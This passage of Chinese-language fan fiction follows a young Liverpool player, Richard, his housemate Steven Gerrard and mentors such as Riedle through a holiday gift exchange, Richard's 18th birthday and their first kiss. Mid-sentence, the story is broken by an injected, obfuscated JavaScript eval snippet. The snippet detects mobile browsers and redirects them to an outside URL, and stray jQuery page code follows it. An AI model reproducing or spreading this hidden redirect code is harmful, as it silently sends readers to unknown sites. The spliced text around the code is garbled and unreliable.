平凡的训练日,普通的毛毛雨,里德尔把车停开出来示意理查德和杰拉德上车,“布拉德和丹尼跟在我们后面。现在指路吧,小子。”
“Patrinus,愿为您效劳。”
当杰拉德第一次听到理查德用那种认真的、甚至带着点仪式感的语气喊里德尔“教父”时骂他:“Rick,你是不是电影看多了?他只是个前锋,虽然是个很厉害的前锋……但我才是那个每天陪你在这儿复盘录像的人!”
“我只是觉得叫卡尔太亲昵,里德尔先生又太疏远,而教父则完美地表达了那种我崇拜你,我追随你,我愿意为你奉献助攻,但我依然敬畏。他教给我的不仅是踢球,还有作为职业球员的‘尊严’。”
随着时间推移,杰拉德发现里德尔是真心实意在护着理查德,他也开始默认这个称呼,比如现在他也跟着喊Patrinus了。
没有因斯的咆哮,没有媒体的关注,理查德悠闲的收拾家里——哪怕是过节他依然无法忍受混乱。
桌子上整齐的有些夸张,餐具摆放得像战术板一样整齐,杯子的间距几乎是用尺子量过的。
理查德穿着一件杰拉德嘲笑为“老古板”的深色羊绒衫,在吧台泡好红茶,看到大家开怀大笑时,他眼角那抹紧绷的线条终于松开了。弗里德尔也拎着磨好的咖啡豆,问每个人要不要尝尝美国风味。
而史蒂文是全场最兴奋的人,他穿着一件颜色极其扎眼的圣诞毛衣在大厅里跑来跑去。他一会拉着墨菲玩飞镖,一会试图偷喝弗里德尔的特供咖啡。
里德尔坐在壁炉边的单人沙发里,手里拿着理查德送给他的那杯红酒。他看着这群孩子闹腾,偶尔开口点拨两句关于欧战的轶事。对他来说,这里的安宁比任何高级晚宴都珍贵。
理查德把那份精心挑选的、带有德意志风格的礼物递给里德尔时,他轻声说:“教父,这是我和史蒂文的一点心意。”
里德尔露出那种温和但深邃的笑容,回想真的教父那样亲吻一下这两个孩子的额头,这对理查德来说,是堪比一线队首发的认可。
因为他确信:只要我把球送到那个位置,里德尔一定会在那里,他会完成最后的致命一击,然后跑过来告诉我——理查德,传得漂亮。
而为了同样作为“动脑子踢球”的同龄人,理查德和杰拉德给丹尼·墨菲准备了一本关于战术分析的珍本书籍。丹尼表情夸张的搂着书,“Rick,你太会送礼物了~”
他捏着一个带着扩音器的哨子和杰拉德说:“史蒂文,下次你在场上想骂裁判又怕被听清时,就吹这个。”
史蒂文有点儿生气的时候他才拿出来真正的礼物——一人一双球鞋,这算大手笔了。
“诶!”杰拉德站起来,“这太贵重了吧。”
“接下来你们好好踢球就行呀。”墨菲露出来他标志的调皮笑容。
至于来自异国他乡的巨人布拉德·弗里德尔,短短几天,大家就知道他对身体管理的痴迷,于是两人送了他一套顶级的按摩康复器材。
他温和地笑笑,“这种实用专业的礼物比一瓶红酒更合我心意,看来我的礼物你也会喜欢。”
弗里德尔给理查德带来了一个美国产的新型心率监测仪。他如获至宝当场就开始研究说明书,杰拉德在一旁翻了个白眼,却在转头时发现弗里德尔送他的是一副加厚版的防滑手套。
不知道他们三个是怎么看待理查德和杰拉德联手送出一份礼物——理查德觉得最坏的是他们都看出来了。
当几人相继离开,房子慢慢安静下来,杰拉德横着躺在沙发上,脚大喇喇地搭在扶手上,嘴里还哼着利物浦的助威歌。理查德一边慢条斯理地收拾着残局,好温馨,好想定格在这一刻。
表现不佳被媒体批评的杰拉德正在客厅里烦躁地踢着抱枕,理查德依然用那种冰冷的客观的语气纠正他的跑位。
杰拉德突然停下动作盯着理查德,“你根本就不在乎,是不是?你整天就像个雕像,理查德,你到底有没有心?”
理查德握着笔的手指因为用力过度而骨节发白。他没有反驳,只是转过身去整理那些乱掉的录像带。
直到杰拉德赌气上楼,理查德坐在黑暗的客厅里,开始在大脑中检索过去 24 小时的所有数据:18:30,我为他准备了晚餐;19:15,我帮他分析了对阵曼联时的跑位失误;20:00,我拒绝了他去酒吧的提议,因为明天有早操。
按照他的逻辑,每一项举动都是为了杰拉德好,都是“爱”的表现。但似乎这样的表达方式不可以……
理查德看着镜子里的自己,那副永远冷静、甚至在最激烈的对抗中也保持体面的面孔,他怀疑自己是否真的像颗石头——他完全是把自己当作一块磨刀石去磨砺杰拉德这把利物浦之剑。
只有他一个人的时候,或者是杰拉德已经睡熟的深夜,理查德伪装出来的坚强才会出现裂缝。
理查德试图做出一些在他自己眼里有“心”的行为:尝试在史蒂文训练回来时,试图讲一个他从墨菲那里听来的、并不好笑的笑话;或者是在史蒂文失落时,生硬地伸出手想要拍拍他的背,却在半空停住了,因为他怕这种“非逻辑”的接触会显得突兀。
杰拉德很快发现理查德那种原本无懈可击的秩序感乱了。他发现理查德在看录像带时竟然会走神,甚至在幻影的 CD 机里放错了一张碟。
平常哪怕他在更衣室被因斯骂得全身发抖,或者在斯特拉斯堡的冷雨里怀疑人生,只要接起电话,他的声音永远是平稳、逻辑清晰的。
“好了,理查德,别再复盘了。你是尊雕像也没关系,只要你是立在我家门口的那一尊就行。”
里德尔在训练后给理查德送了一张贺卡上就驱车离开,“Rick,礼物寄到你家里了,记得拆。”
他捏着这张贺卡,看着落款的“Your Patrinus, Karl-Heinz”没来由的兴奋,也许是因为他第一次感受来自成年男性世界的宽容与庇护。
这让他终于有勇气在走出房门后,面对杰拉德那种炽热的、几乎要将他融化的爱意时,不再只是想逃跑。
他看着这间属于他的房子,第一次感觉到这不仅是一项资产。因为杰拉德的乱入,因为里德尔的祝福,这里真的变成了一个家。
理查德 18 岁生日那天,他同时处于避风港和最危险的诱惑中。
他强迫自己维持着基本得体的礼貌,试图让两个家庭的关系看起来和谐又职业,他害怕父母看出他和杰拉德之间那种已经变质的、粘稠的空气。
饭桌上,朱莉和保罗一直在夸理查德是多么懂事、多么自律,而理查德的父母则在感谢对方把儿子照顾得这么好,两边都默认不知道发生了什么还是一对好兄弟好朋友。
埃文斯给理查德的父母打了电话夸奖理查德是球队的未来。莉莉安和马利克都很为他骄傲,父母带来的安逸感和他现在在利物浦更衣室生存的残酷感,在在脑海里剧烈冲突。
理查德把双方父母去客房,终于回到自己和杰拉德共享的那间卧室时已经疲惫到了极点,白天他在父母面前演了一整天的“好兄弟”,那种客气已经透支了他的能量。
杰拉德一直等在房间里,甚至没有开大灯。他看着理查德关上门,重重地靠在门板上。
“我给你织了围巾。”
理查德被吓了一跳开口才发现自己声音有多沙哑, “总算结束了……我要谢谢我的另一对爸爸妈妈,也要谢谢你。”
他打开灯仔细看着杰拉德手上每个被戳破又长好伤口,被它代表的浓烈爱意几乎灼伤,“我不知道怎么感激你……”
“我不想你对我这么客套。”杰拉德盯着他。
杰拉德走过去,把他堵在门板和自己之间, “你是真的开心吗?理查德。对着你爸妈演这种‘好孩子’的戏,对着我演这种‘好舍友’的戏,你不累吗?”
理查德想转过头,想说“别在今天闹,我父母就在隔壁”,但他发现杰拉德的手正按在他心脏的位置——那里跳得像个坏掉的节拍器。
理查德没有抬头,声音有些发紧: “史蒂文,太晚了。明早我们要回利物浦,训练……”
杰拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326719|199125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
德直接打断他: “Rick,你18岁了,这意味着你以后可以回伦敦,可以去任何地方……我要怎么留住你?”
理查德下意识的整理着东西, “我会一直在的,我很开心,真的。我还怕……”
杰拉德直接跨坐在他身边,强迫他看向自己: “你知道我想要的不只是这个。”
他压低声音,带着一种近乎绝望的渴望:“能不能亲我一下?”
杰拉德内心的火几乎要把他自己烧焦了,理查德什么都不缺,那些包装精美的礼物躺在地板上,他发现自己根本找不到任何一件东西能代表他那种沉重到无法宣之于口的占有欲。
尤其在理查德的父母面前,他们是“最好的哥们”,是“寄宿家庭的兄弟”,如同亲人般的名头对此时的杰拉德来说像上了一道枷锁。这种“理查德可能会飞走”的恐惧,让杰拉德一整天都处于一种紧绷的攻击性边缘。
理查德的瞳孔在那一刻剧烈收缩。这完全超出了他的预测范围,没有任何数据可以分析现在该如何应对。他的第一反应是想推开杰拉德,想搬去客厅的沙发,想借口“职业球员不该如此”逃掉。
但杰拉德那种灼热的、带着某种“你今天跑不掉”的焦躁眼神击碎了他的防御。
理查德的手指死死抓着被单,他恐惧于如果真的亲下去,那道“职业关系”的最后防线就会像决堤一样崩塌。他更恐惧的是,他发现自己竟然如此渴望这个请求。
理查德爱这种被杰拉德强行拽下深渊的感觉。他颤抖着,在黑暗中闭上眼,那是他18年来最不理性的一秒钟。
他在那场关于“成人礼”的博弈中彻底投降。他没有说话,只是微微仰起头,用那种带着恐惧、宿命感以及压抑了数年的爱意,凑到了杰拉德唇边。
他发现,即便他掌握了全世界最先进的战术分析,在史蒂文·杰拉德这句简单的请求面前,他永远只是那个14岁时走进杰拉德家、把心丢在那里的伦敦男孩。
父母就在一墙之隔,而他最爱的人正要求他亲手毁掉那个“正常”的假象。
没有数据,没有职业规划,没有因斯或霍利尔。只有杰拉德身上那种熟悉的、带着洗衣粉和汗水味的气息。
理查德发现,他父母的到来并没有让他变得更稳固,反而让他意识到,如果失去杰拉德,他所谓的“成年生活”将是一片荒原。
随着赛季进入 1998 年春天,利物浦在各项杯赛相继出局,联赛也逐渐失去了争冠希望。那种“胜利掩盖不了问题”的压抑感笼罩着梅尔伍德。
他看着如父如兄的埃文斯在场边越来越落寞的身影,他知道变革快来了,他爱这支旧时代的利物浦,但他更爱“胜利的利物浦”。
里德尔坐在中间,理查德坐在一侧认真听他讲意甲和德甲的往事,而史蒂文坐在另一侧,一边嚼着鸡胸肉一边用那种跃跃欲试的眼神看着两位。
史蒂文有些嫉妒理查德和里德尔之间的智力交流,他知道自己不应该但克制不住。他看到理查德对着里德尔露出那种毫无防备、真心崇拜的笑容时,史蒂文会故意插话,或者在下午的训练中给里德尔传几个难度极大的球来博取关注。
里德尔一眼就看穿了杰拉德的“紧张”和理查德的退缩。
“理查德,足球场上没有客房可以躲,你得像史蒂文那样,有时候哪怕是错的,也要冲过去。”
史蒂文看着理查德在那本写满数据的本子上写写画画,“如果下赛季换了阵型,你还会在我旁边吗?”
理查德停下笔,看着窗外利物浦的雨, “史蒂文,只要这支球队需要我守在哪里,我就在哪里。只要你在场上,我就永远有退路。”
“理查德,史蒂文说你今天在场上替他挡了个狠的。你们两个真是……今晚都回来吧,我给你们准备了热毛巾和按摩膏。你们得互相照应,别把自己逼得太死。”
这种来自家庭的认可,让理查德在那一刻觉得,他的“恐惧”和“回避”在如此庞大的集体情感面前,显得那么微小。
他选择对杰拉德投降,在玄关挂上了两把房子的钥匙。